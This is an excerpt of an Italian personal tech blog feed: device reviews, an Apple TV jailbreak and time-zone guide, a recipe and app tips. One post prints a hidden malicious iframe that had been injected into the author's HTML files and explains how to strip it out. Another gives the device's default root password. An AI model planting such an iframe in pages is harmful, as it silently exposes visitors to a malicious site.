<p>La parte che mi fa sempre un po&#8217; paura, nei dispositivi <span style="font-style: italic;">touch</span>, è la tastiera. In questo caso la paura è assolutamente infondata perché, nonostante la mancanza del feedback aptico (sostituito da un poco credibile suono di macchina da scrivere al tocco dei tasti virtuali), la scrittura è facile e scorrevole, con tasti grandi e ben posizionati: nonostante i 10,1&#8243; è possibile scrivere comodamente con due dita tenedo il Pad in verticale (appoggiandolo è possibile scrivere con tutte le dita, per chi è capace).</p>
<p>La nota dolente, invece, è data dalla docking station. Nonostante l&#8217;accoppiamento perfetto, il primo problema che salta agli occhi è l&#8217;impossibilità di usare una tastiera con layout italiano, anche se viene impostata così di default. Il problema è stato risolto dall&#8217;aggiornamento scaricato automaticamente, ma mi è sembrata una grossa mancanza. Altra mancanza è quella del fuso orario italiano, per cui bisogna sceglierne un altro compatibile, altrimenti l&#8217;Eee Pad resta indietro due ore, non appena lo si collega alla docking.</p>
<p>Gli altri problemi di eccessivo consumo di batteria citati spesso nei forum, probabilmente li incontrerò più avanti, quindi per ora non mi pronuncio.</p>
<p>Per quanto riguarda l&#8217;utilizzo di schede esterne (ho provato solo la microSD) si verifica un altro problema: sono accessibili solo attraverso l&#8217;applicazione Gestione file e non attraverso i file manager di terze parti, tipo ES Gestore file, e non è possibile formattare la scheda. </p>
<p>Per ora non ho ancora provato il lettore di schede e le USB della base, nè l&#8217;uscita HDMI, cosa che farò sicuramente nei prossimi giorni.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Apple TV 2g &#8211; Impostazione dell&#8217;ora</title>
		<link>http://www.unpirlaqualsiasi.it/2011/02/23/apple-tv-2g-impostazione-dellora/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Wed, 23 Feb 2011 17:15:47 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[appletv]]></category>
		<category><![CDATA[hour]]></category>
		<category><![CDATA[jailbreak]]></category>
		<category><![CDATA[localtime]]></category>
		<category><![CDATA[ora]]></category>
		<category><![CDATA[timezone]]></category>
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					<description><![CDATA[La Apple TV non ha, di solito, bisogno di impostare l&#8217;ora locale, perché la setta in automatico via NTP. E, infatti, non esiste neanche un menu che preveda questa opzione (d&#8217;altra parte Apple non prevede che l&#8217;utente sia, addirittura, in grado di cambiare l&#8217;ora). Nonostante la sincronizzazione, però, la Apple TV potrebbe non mostrare l&#8217;ora [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>La Apple TV non ha, di solito, bisogno di impostare l&#8217;ora locale, perché la setta in automatico via NTP. E, infatti, non esiste neanche un menu che preveda questa opzione (d&#8217;altra parte Apple non prevede che l&#8217;utente sia, addirittura, in grado di cambiare l&#8217;ora).</p>
<p>Nonostante la sincronizzazione, però, la Apple TV potrebbe non mostrare l&#8217;ora giusta, e questo non è un problema usandola in modo &#8220;nativo&#8221;, perché non viene mostrata in nessuna schermata o servizio.</p>
<p>Il prblema si pone qundo, in seguito al <a href="http://www.unpirlaqualsiasi.it/2011/02/15/apple-tv-2g-untethered-jailbreak/">jailbreak</a>, si installa XBMC (o altri software) che, invece, l&#8217;ora la mostra e la usa.</p>
<p>Mentre nella Apple TV 1g (jailbreakata) l&#8217;operazione si può fare col software NiTO TV, la versione per Apple Tv 2g non lo prevede. Si deve, quindi, agire manualmente.</p>
<p>L&#8217;operazione è molto semplice: essendo un sistema Unix based, bastano un paio di comandi linux via SSH per impostare l&#8217;orario corrente della località corrente.</p>
<p>Innanzitutto bisogna accedere alla Apple TV via SSH con un terminale (tipo puTTY), con utente <code>root</code> e password <code>alpine</code>.</p>
<p>Quindi digitare il comando: </p>
<pre>cd /var/db/timezone
rm localtime</pre>
<p>Con questo comando ci si sposta nel percorso indicato, fino alla cartella &#8220;timezone&#8221;, quindi si elimina il file &#8220;localtime&#8221; che contiene le informazione errate. Se esiste, viene rimosso, se non esiste, verrà dato errore di file non trovato, quindi proseguire con:</p>
<pre>ln -s /usr/share/zoneinfo/[Country or Region]/[Zone Name] localtime</pre>
<p>Digitando questo comando con <code>Europe/Rome</code> al posto di <code>[Country or Region]/[Zone Name]</code> impostiamo il nuovo localtime.</p>
<p>Tutto qui. Non c&#8217;è bisogno di riavviare e si può fare un prova immediata per vedere se tutto è corretto, digitando il comando <code>date</code>.</p>
<p>All&#8217;avvio di XBMC l&#8217;ora locale verrà mostrata ed utilizzata in modo corretto.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Apple TV 2g untethered jailbreak</title>
		<link>http://www.unpirlaqualsiasi.it/2011/02/15/apple-tv-2g-untethered-jailbreak/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Mon, 14 Feb 2011 23:49:05 +0000</pubDate>
				<category><![CDATA[guide]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[appletv]]></category>
		<category><![CDATA[dfu]]></category>
		<category><![CDATA[greenpois0n]]></category>
		<category><![CDATA[jailbreak]]></category>
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					<description><![CDATA[Dopo quasi un mese di pene e patimenti, finalmente sono riuscito a jailbreakare la nuova Apple TV. Ci è voluto tanto solo perché non era ancora stata messa a punto la procedura di jailbreak per l&#8217;ultima versione del software, quindi scoprire il metodo per eseguirlo &#8220;untethered&#8221; e, infine, il porting verso Windows. Di metodi e [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Dopo quasi un mese di pene e patimenti, finalmente sono riuscito a jailbreakare la nuova Apple TV.</p>
<p>Ci è voluto tanto solo perché non era ancora stata messa a punto la procedura di jailbreak per l&#8217;ultima versione del software, quindi scoprire il metodo per eseguirlo &#8220;untethered&#8221; e, infine, il porting verso Windows.</p>
<p>Di metodi e tool ce ne sono un bel po&#8217;, ma quello che è sembrato più semplice e affidabile è <a href="http://www.greenpois0n.com">Greenpois0n</a>.</p>
<p>L&#8217;utilizzo è semplicissimo e a prova di niubbo: basta essere capace a cliccare su un paio di tasti e un po&#8217; di attenzione.</p>
<p><strong>Cosa serve</strong></p>
<p>&#8211; una (o più) Apple TV 2g (è supportata fino alla versione 4.2 del sw, indicata come 4.1.1 nella schermata delle proprietà<br />
&#8211; un cavo USB-micro USB come quelli degli ultimi modelli di cellulari<br />
&#8211; il programmino Greenpois0n, versione Windows.</p>
<p><strong>Come si procede</strong></p>
<p>Avviare il programmino, avendo a portata di mano i cavi USB e dell&#8217;alimentazione e il telecomando della ATV2, e cliccare su &#8220;prepare to jailbreak (DFU)&#8221;.<br />
A questo punto bisogna agire con una certa rapidità e attenzione perché si deve, nell&#8217;ordine: collegare il cavetto USB, collegare l&#8217;alimentazione e tenere premuti i tasti menu e play del telecomando.</p>
<div id="attachment_1545" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.unpirlaqualsiasi.it/wp-content/uploads/greenpois0n.png"><img decoding="async" aria-describedby="caption-attachment-1545" class="size-medium wp-image-1545" title="greenpois0n" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/greenpois0n-300x162.png" alt="" width="300" height="162" srcset="http://www.unpirlaqualsiasi.it/wp-content/uploads/greenpois0n-300x162.png 300w, http://www.unpirlaqualsiasi.it/wp-content/uploads/greenpois0n.png 523w" sizes="(max-width: 300px) 100vw, 300px" /></a><p id="caption-attachment-1545" class="wp-caption-text">Greenpois0n</p></div>
<p>La sequenza deve essere rispettata al secondo, ma con un po&#8217; di sano contorsionismo non è difficile e, soprattutto, si può riprovare quante volte sarà necessario, grazie al comodo tasto reset. Quando la sequenza è corretta, il pulsante &#8220;waiting for DFU&#8221; diventerà attivo e cambierà in &#8220;jailbreak!&#8221;.</p>
<p>A questo punto basta cliccare sul pulsante e aspettare qualche minuto. Non ci saranno messaggi di successo ed esultanza, ma un laconico pulsante &#8220;quit&#8221; che, però, a noi basta e avanza perché ormai la Apple TV è jailbreakata.</p>
<p>Si può staccare il cavo USB e collegare il cavo HDMI alla TV per veder comparire una nuova voce nel menu: Greenpois0n.</p>
<div id="attachment_1542" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0103.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-1542" class="size-medium wp-image-1542" title="wpid-IMAG0103.jpg" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0103-300x179.jpg" alt="" width="300" height="179" srcset="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0103-300x179.jpg 300w, http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0103.jpg 499w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a><p id="caption-attachment-1542" class="wp-caption-text">Jailbroken!</p></div>
<p>Da qui si può installare il software che ci permetterà di installare, a loro volta, programmi e utility, primo tra tutti il protocollo SSH che serve per connetterci alla Apple TV tramite terminale da PC (o Mac o Linux) e il software NitoTV con le sue millemila applicazioni scaricabili.</p>
<div id="attachment_1543" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0104.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-1543" class="size-medium wp-image-1543" title="wpid-IMAG0104.jpg" src="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0104-300x179.jpg" alt="" width="300" height="179" srcset="http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0104-300x179.jpg 300w, http://www.unpirlaqualsiasi.it/wp-content/uploads/wpid-IMAG0104.jpg 499w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a><p id="caption-attachment-1543" class="wp-caption-text">Installazione delle applicazioni</p></div>
<p style="text-align: center;">
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Stampare con l&#8217;androide</title>
		<link>http://www.unpirlaqualsiasi.it/2010/12/15/stampare-con-landroide/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Wed, 15 Dec 2010 20:02:46 +0000</pubDate>
				<category><![CDATA[consigli per i download]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[desire]]></category>
		<category><![CDATA[dropbox]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[print]]></category>
		<category><![CDATA[remote]]></category>
		<category><![CDATA[stampa]]></category>
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					<description><![CDATA[In giro esistono varie app per stampare dal proprio terminale Android, ma non funzionano su tutti i modelli, non supportano tutte le stampanti, e sono a pagamento. C&#8217;è, però, un modo molto semplice, che non ha bisogno di applicazioni e a costo completamente zero per stampare qualsiasi file abbiate nel vostro telefono. Sono necessari una [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>In giro esistono varie app per stampare dal proprio terminale Android, ma non funzionano su tutti i modelli, non supportano tutte le stampanti, e sono a pagamento.</p>
<p>C&#8217;è, però, un modo molto semplice, che non ha bisogno di applicazioni e a costo completamente zero per stampare qualsiasi file abbiate nel vostro telefono.</p>
<p>Sono necessari una stampante (e fin qui&#8230;), un PC (Win/<a href="http://www.labnol.org/tech/print-files-on-remote-mac/17838/">Mac OS X</a>/<a href="http://www.labnol.org/software/print-files-on-linux/17841/">Linux</a>), un account di <a href="https://www.dropbox.com/referrals/NTM0MjU1NjI5?src=global0">Dropbox</a> (santo subito!), l&#8217;app di Dropbox per il vostro telefono (vale anche per iPhone) e uno <a href="http://img.labnol.org/files/ePrint.zip">script</a> VBS.</p>
<p>Installato il client Dropbox sul PC e scaricato lo zip con lo script, basta scompattare e avviare lo script. In questo modo verrà creata nel proprio Dropbox la cartella PrintQueue (alla prima esecuzione dello script) e verrà monitorato il contenuto in attesa dei file da stampare.</p>
<p>Per stampare qualsiasi file da remoto (quindi non solo da telefono, ma anche da PC) basta copiare il file nella cartella <span style="font-weight: bold;">PrintQueue</span> locale, aspettare l&#8217;upload e il PC con lo script installato riceverà e stamperà il file con la stampante predefinita.</p>
<p>Ovviamente qualsiasi PC abbia lo script installato avvierà il processo di stampa, per cui è utile eseguirlo solo sul PC che si desidera utiizzare per la stampa remota. Comunque, per evitare stampe non richieste, il file verrà cancellato non appena stampato e sarà possibile trovare una copia dei file stampati nella sottocartella <span style="font-weight: bold;">Log</span>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Rivoluzione androide</title>
		<link>http://www.unpirlaqualsiasi.it/2010/12/10/rivoluzione-androide/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Fri, 10 Dec 2010 00:05:58 +0000</pubDate>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[desire]]></category>
		<category><![CDATA[htc]]></category>
		<category><![CDATA[smartphone]]></category>
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					<description><![CDATA[Premessa Da un po&#8217; ero attratto dall&#8217;idea di uno smartphone ma, non essendo troppo convinto del touchscreen, non mi ero mai deciso. Poi il glorioso N95 8 giga ha pensato bene di lasciare questo mondo crudele anzitempo — ma sempre troppo tardi rispetto alla garanzia — e s&#8217;è resa indispensabile una sostituzione rapidissima. Come mio [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Premessa</strong><br />
Da un po&#8217; ero attratto dall&#8217;idea di uno smartphone ma, non essendo troppo convinto del touchscreen, non mi ero mai deciso. Poi il glorioso N95 8 giga ha pensato bene di lasciare questo mondo crudele anzitempo — ma sempre troppo tardi rispetto alla garanzia — e s&#8217;è resa indispensabile una sostituzione rapidissima.<br />
Come mio solito la scelta è stata casuale e l&#8217;acquisto d&#8217;impulso, ma quando ci vuole, ci vuole.<br />
Ovviamente la scelta non poteva che cadere su un telefono con sistema Android e, avendo trovato una bella offerta su Ebay, ho acquistato un HTC Desire.</p>
<p><strong>Prime impressioni </strong><br />
Il pacchetto è arrivato in due giorni, e la prima sorpresa è stata proprio la confezione. Rispetto ai soliti Motorola e Nokia la scatoletta è misera e il contenuto un po&#8217; troppo spartano: telefono, auricolari, caricabatterie e un manualetto di poche pagine (mentre online ce n&#8217;è una versione completa da 200 pagine).<br />
Comunque non ci vuole una laurea per montare batteria e SIM e accendere il telefono col tasto superiore. Più difficile e, a prima vista, delicata l&#8217;operazione di apertura dello sportellino posteriore con i dentini che scattano e danno sempre l&#8217;impressione di rompersi.<br />
Appena accesso parte la classica procedura di personalizzazione, solo che stavolta vengono chieste le credenziali dei principali social network, e non è differenza da poco. La seconda cosa è un breve training per imparare ad usare la tastiera virtuale e il touchscreen. <br />
Finite le operazioni, il telefono è pronto e si connetterà automaticamente ad internet per aggiornare i servizi e sè stesso.<br />
Poi c&#8217;è bisogno di un po&#8217; di tempo per ambientarsi ai menu e alle varie impostazioni, non sempre intuitive. <br />
Nel momento in cui ci si accorge del market, finisce la vita dell&#8217;utente, perché si apre un vero mondo di applicazioni gratis e a pagamento.</p>
<p><strong>Il mio giudizio </strong><br />
Comprando un telefono Android ci si trova in mano un vero PC, con sistema basato su Linux, con tutti i pregi e i difetti dell&#8217;avere un PC in un telefono.<br />
Il primo difetto è la durata della batteria (che comunque aumenta con le successive cariche), rapidamente uccisa dalle connessioni.<br />
Il secondo è l&#8217;<em>unfriendlyness</em> tipica di Linux, specie per chi proviene da sistemi Windows, che porta a dover hackerare il sistema per poter fare ogni minima cosa non prevista dagli sviluppatori, con conseguente decadenza della garanzia.<br />
E poi la cosa, per me, peggiore: tutta la gestione della parte telefonica (sms, rubrica, ad esempio) lascia parecchio a desiderare, rispetto ai telefoni tradizionali.<br />
Dall&#8217;altra parte ci sono cose totalmente positive, quali la quasi totale personalizzabilità della parte grafica, applicazioni utilissime e il touchscreen che è una vera e propria figata. O la tastiera virtuale che è veramente semplice da usare anche per uno, come me, che odia — ricambiato — i display tattili.</p>
<p><strong>In conclusione</strong> <br />
Come tutti i device anche questo ha i suoi difetti, legati soprattutto alla diversa user experience più che a veri e propri bug, ma i pregi sono davvero pesanti nel dare un giudizio complessivo del Desire, soprattutto per chi proviene da sistemi molto meno performanti, tipo Symbian. Inoltre la semplicità d&#8217;uso del Desire, la possibilità di condividere qualsiasi contenuto con contatti e social network con tanta facilità sono talmente sorprendenti da non poter non consigliare l&#8217;acquisto sia al nerd smanettone, sia all&#8217;utente che si avvicina per la prima volta ad uno smartphone. </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Pasta col tonno</title>
		<link>http://www.unpirlaqualsiasi.it/2010/09/24/pasta-col-tonno/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Thu, 23 Sep 2010 22:30:50 +0000</pubDate>
				<category><![CDATA[un pirla in cucina]]></category>
		<category><![CDATA[pasta]]></category>
		<category><![CDATA[primi]]></category>
		<category><![CDATA[tonno]]></category>
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					<description><![CDATA[Tutti fanno la pasta col tonno, tutti amano e odiano la pasta col tonno, e ognuno ha la propria versione. Questa è la mia. Molto semplice. Ingredienti &#8211; una scatoletta di tonno ((dimensione a seconda delle porzioni di pasta, indicativamente una da 80g va bene per 3 persone)) &#8211; olio &#8211; succo di limone &#8211; [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Tutti fanno la pasta col tonno, tutti amano e odiano la pasta col tonno, e ognuno ha la propria versione. Questa è la mia. Molto semplice.</p>
<p><span style="font-weight: bold;">Ingredienti</span></p>
<p>&#8211; una scatoletta di tonno ((dimensione a seconda delle porzioni di pasta, indicativamente una da 80g va bene per 3 persone))<br />
&#8211; olio<br />
&#8211; succo di limone<br />
&#8211; prezzemolo</p>
<p><span style="font-weight: bold;">Preparazione</span></p>
<p>Mentre cuoce la pasta (io uso i fusilli, voi fate come vi pare), scolare il tonno e frullarlo fino ad ottenere una crema. Versare la crema nel piatto di portata e diluirla a poco a poco con l&#8217;olio e una spruzzata di succo di limone.<br />
Scolate la pasta e conditela con la crema di tonno ((se fosse troppo densa, aggiungete un cucchiaio di acqua di cottura della pasta)) e cospargete con prezzemolo tritato. Mescolate e servite.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Opera Mini 5 (beta 2)</title>
		<link>http://www.unpirlaqualsiasi.it/2010/06/01/opera-mini-5-beta-2/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Tue, 01 Jun 2010 16:31:36 +0000</pubDate>
				<category><![CDATA[consigli per i download]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[cellulare]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[mobile browser]]></category>
		<category><![CDATA[mobile internet]]></category>
		<category><![CDATA[opera mini]]></category>
		<category><![CDATA[telefono]]></category>
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					<description><![CDATA[Parliamo di Opera Mini 5, il piccolo browser per dispositivi mobili basato su Java, e quindi utilizzabile su tutti i tipi di dispositivi e su tutte le piattaforme. Al momento è ancora in beta, perché i cambiamenti rispetto alla versione 4 sono parecchi e pesanti. La prima cosa che salta all&#8217;occhio è la pagina iniziale [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Parliamo di <a title="Opera Mini &amp; Opera Mobile" href="http://www.opera.com/mobile/">Opera Mini 5</a>, il piccolo browser per dispositivi mobili basato su Java, e quindi utilizzabile su tutti i tipi di dispositivi e su tutte le piattaforme.</p>
<p>Al momento è ancora in <em>beta</em>, perché i cambiamenti rispetto alla versione 4 sono parecchi e pesanti.</p>
<p>La prima cosa che salta all&#8217;occhio è la <strong>pagina iniziale</strong> con 9 pulsantoni collegati ai 9 segnalibri più utilizzati (alcuni sono preimpostati al momento dell&#8217;installazione, ma si possono modificare e cancellare, vedremo come).</p>
<p>La seconda cosa è la nuova <strong>barra dei menu</strong>. Da qui si può inserire o modificare l&#8217;indirizzo, muoversi avanti e indietro tra le pagine visitate, accedere alla pagina iniziale, ricaricare la pagina e uscire. Ma anche accedere a tutti i menu (bookmark, cronologia, pagine salvate, trasferimenti, impostazioni, trova nella pagina, guida) attraverso una tab a scomparsa, per occupare meno spazio possibile.</p>
<p>La barra può essere nascosta attivando la navigazione a schermo intero attraverso le impostazioni.</p>
<p>La vera novità, però, è quella della <strong>navigazione a schede</strong> (tab) proprio come nei browser tradizionali, con tutti i vantaggi che ne derivano in fatto di comodità e usabilità.</p>
<p>Usabilità che manca, invece, nella gestione di link e testo (soprattutto nei dispositivi touch), visto che senza istruzioni nessuno potrebbe scoprire, se non per puro caso, come attivare certe funzioni molto utili.</p>
<p>Per gestire queste cose è stato introdotto il &#8220;<strong>click lungo</strong>&#8220;, ovvero la pressione del tasto di chiamata (o della corrispondente area touch) per qualche secondo. In questo modo si può:</p>
<ul>
<li><strong>modificare o cancellare i link rapidi della pagina iniziale:</strong> spostarsi sul link rapido, quindi clic lungo sul pulsante di chiamata e scegliere &#8220;modifica&#8221; o &#8220;cancella&#8221; dal menu che verrà mostrato;</li>
<li><strong>salvare immagini o pagine</strong>: clic lungo quando si è sull&#8217;immagine e scegliere &#8220;salva immagine&#8221;. Le immagini verranno salvate nella cartella predefinita (sull&#8217;iPhone verranno salvate nell&#8217;app Images);</li>
<li><strong>Copiare del testot</strong>: clic lungo in un punto della pagina e scegliere &#8220;seleziona testo&#8221;. Quindi spostarsi col cursore all&#8217;inizio del testo da copiare e premere &#8220;Avvia&#8221;, poi spostarsi alla fine e premere &#8220;Fine&#8221; (nei dispositivi touch basta cliccare all&#8217;inizio del testo e trascinare fino alla fine; alzando il dito verrà mostrato il comando &#8220;Copia&#8221;;</li>
<li><strong>Incollare il testo copiato</strong>: aprire il campo in cui incollare il testo e fare un click lungo, quindi scegliere &#8220;incolla&#8221;;</li>
</ul>
<p>È anche possibile, per comodità, usare l&#8217;editor interno del telefono per scrivere, soprattutto per le lingue con caratteri particolari (lettere accentate, ecc.) che, altrimenti, non potrebbero essere scritti con l&#8217;editor di default di Opera Mini.</p>
<p>Normalmente non è possibile esportare testo copiato in un&#8217;applicazione Java verso un&#8217;altra applicazione del telefono. Con Opera Mini è possibile ovviare a questo incollando il testo copiato in un campo della pagina aperta (va bene anche il campo di ricerca) mantenendo l&#8217;editor inline disattivato. In questo modo, quando si apre l&#8217;editor di testo del telefono è possibile ri-copiare il testo incollato ed utilizzarlo in altre applicazioni, tipo SMS, email, note, ecc.</p>
<p>Per finire ecco l&#8217;elenco delle <strong>scorciatoie da tastiera</strong> di Opera Mini 5:</p>
<p><strong>Con &#8220;#&#8221;</strong></p>
<ul>
<li>#1 inserisci indirizzo</li>
<li>#2 cerca</li>
<li>#3 trova nella pagina</li>
<li>#4 pagina iniziale</li>
<li>#5 segnalibri</li>
<li>#6 cronologia</li>
<li>#7 trasferimenti</li>
<li>#8 impostazioni</li>
<li>#9 pagine salvate</li>
<li>#0 aggiorna</li>
</ul>
<p><strong>Con &#8220;*&#8221;</strong></p>
<ul>
<li>1-9 preferiti rapidi</li>
<li>+# (asterisco cancelletto) vista orizzontale</li>
<li>+* (asterisco asterisco) schermo intero</li>
<li>↑ nuova scheda</li>
<li>↓ chiudi scheda</li>
<li>← scorri schede sx</li>
<li>→ scorri schede a destra</li>
</ul>
<p>Tutta la lista di scorciatoie si può visualizzare anche all&#8217;interno di Opera Mini premendo rispettivamente <em>asterisco</em> o <em>cancelletto</em>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Alla faccia del falso positivo&#8230;</title>
		<link>http://www.unpirlaqualsiasi.it/2010/04/10/alla-faccia-del-falso-positivo/</link>
					<comments>http://www.unpirlaqualsiasi.it/2010/04/10/alla-faccia-del-falso-positivo/#comments</comments>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Sat, 10 Apr 2010 15:53:36 +0000</pubDate>
				<category><![CDATA[guide]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[NOD32]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[windows]]></category>
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					<description><![CDATA[Da alcuni mesi il mio antivirus (NOD32, ndP) mi segnala come infetti da virus (Iframe.B.Gen.Virus e Virut.NBP.Virus) tutti i file .html e .htm che ho in un disco. La cosa mi sembrava parecchio strana, soprattutto perché negli altri PC gli stessi file vengono considerati puliti dallo stesso antivirus. Ed è un bel fastidio vedere qualche [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Da alcuni mesi il mio antivirus (NOD32, ndP) mi segnala come infetti da virus (Iframe.B.Gen.Virus e Virut.NBP.Virus) tutti i file .html e .htm che ho in un disco.</p>
<p>La cosa mi sembrava parecchio strana, soprattutto perché negli altri PC gli stessi file vengono considerati puliti dallo stesso antivirus. Ed è un bel fastidio vedere qualche centinaio di notifiche ogni volta che apri la cartella Documenti.</p>
<p>Notifiche, peraltro, su cui cliccare sempre &#8220;Ignora&#8221;, dal momento che l&#8217;antivirus non è in gradi di ripulire i file e si limita a cestinarli.</p>
<p>Oggi pomeriggio ho avuto un&#8217;illuminazione: perché non provare ad aprire un file html piccolo, tra quelli infetti, e vedere cosa contiene?</p>
<p>Ebbene, l&#8217;ultima riga prima di &lt;/body&gt; conteneva codice malevolo, ovvero un iframe che puntava ad un indirizzo polacco:</p>
<p><code>&lt; iframe src="http://jL.chura.pl/rc/" style="display:none" &gt;&lt; /iframe &gt;</code></p>
<p>È bastato copiancollarlo su Google per scoprire cosa fosse e come liberarsene.</p>
<p>Nonostante la mole di file infettati (5000 nel mio caso) è semplicissimo disinfettare il tutto: basta scaricare il programma <a href="http://download.cnet.com/Advanced-Find-and-Replace/3000-2379_4-10039984.html">Advanced Find And Replace</a>, scegliere il percorso dei file da pulire e dargli in pasto la stringa (quella scritta qui sopra) da sostituire con nulla. Dopo qualche minuto il programma terminerà e tutto sarà fresco e pulito.</p>
<p>Ovviamente è necessario disattivare l&#8217;antivirus per poter accedere ai file incriminati.</p>
<p>Morale? Migliaia di falsi positivi, probabilmente non sono poi tanto falsi, e dare un&#8217;occhiata un po&#8217; più approfondita non fa mai male.</p>
<p>E mille scuse al NOD antivirus <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
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			</item>
		<item>
		<title>Consigli dalla regia: recensione di qualche applicazione assolutamente nerd e assolutamente da non perdere</title>
		<link>http://www.unpirlaqualsiasi.it/2010/02/11/consigli-dalla-regia-recensione-di-qualche-applicazione-assolutamente-nerd-e-assolutamente-da-non-perdere/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
		<pubDate>Thu, 11 Feb 2010 12:23:00 +0000</pubDate>
				<category><![CDATA[consigli per i download]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[nerd]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[reti]]></category>
		<category><![CDATA[symbian]]></category>
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					<description><![CDATA[Da un po’ di tempo volevo scrivere qualcosa riguardo le applicazioni geek oriented di cui non si può fare a meno sul proprio telefono. Di qualcosa ho già scritto in precedenza, ma ora un piccolo elenco è più utile. Premetto che le seguenti applicazioni sono salvate sul telefono alla voce “Nerdate”, per cui sapete cosa [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Da un po’ di tempo volevo scrivere qualcosa riguardo le applicazioni <em>geek oriented</em> di cui non si può fare a meno sul proprio telefono. Di qualcosa ho già scritto in precedenza, ma ora un piccolo elenco è più utile.</p>
<p>Premetto che le seguenti applicazioni sono salvate sul telefono alla voce “Nerdate”, per cui sapete cosa aspettarvi. <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Andrò per ordine casuale di importanza, secondo i miei gusti.</p>
<p><strong><a title="La killer application per Symbian" href="http://www.unpirlaqualsiasi.it/2009/01/17/la-killer-application-per-symbian/">SymSMB</a></strong>: ne avevo già parlato <a title="La killer application per Symbian" href="http://www.unpirlaqualsiasi.it/2009/01/17/la-killer-application-per-symbian/">qui</a> e non ho molto altro da aggiungere, se non ribadire il fatto che è una figata assoluta.</p>
<p><strong><a href="http://www.rdmplus.com/vnc/index.html">VNC+</a></strong>: Client <a title="Virtual Network Computing" href="http://en.wikipedia.org/wiki/Virtual_Network_Computing">VNC</a> che permette di collegarsi con il desktop di qualsiasi macchina (PC, Mac o Linux) in locale o in remoto e gestire qualunque funzione come se si fosse davanti al monitor. Certo, la vista è un po’ limitata, ma con lo zoom si può vedere perfettamente tutta la superficie del desktop.     <br />È necessario avere un server VNC installato e attivo sulla macchina, per potersi connettere. (anche per BlackBerry, versione free di prova e completa per 20$)</p>
<p><a title="s2putty" href="http://s2putty.sourceforge.net/"><strong>PuTTY</strong></a>: Port per Symbian del famoso client SSH, Telnet, ecc. che permette di connettersi a server locali o remoti attraverso il protocollo SSH. (freeware)</p>
<p><a href="http://betalabs.nokia.com/apps/mobile-web-server"><strong>Mobile Webserver</strong></a> (Nokia Labs): Come dice il nome è un webserver da installare sul proprio telefono. La versione beta ha supportato anche la pubblicazione di un proprio sito/blog su mymobilesite.net, ora la sperimentazione è finita e Mobile Webserver funziona solo in locale (per pubblicare il sito, basta usare un servizio di <em>public DNS</em>, come si farebbe per un qualsiasi webserver su PC). È possibile installare anche PHP e MySQL lite, quindi sostituire l’attuale piattaforma CMS con WordPress, ma non ho ancora voluto sbattermi per farlo. (freeware su <a title="OVI Store" href="http://www.ovi.com">OVI Store</a> by Nokia).</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Chrome OS: aggiornamento</title>
		<link>http://www.unpirlaqualsiasi.it/2010/02/03/chrome-os-aggiornamento/</link>
		
		<dc:creator><![CDATA[degra]]></dc:creator>
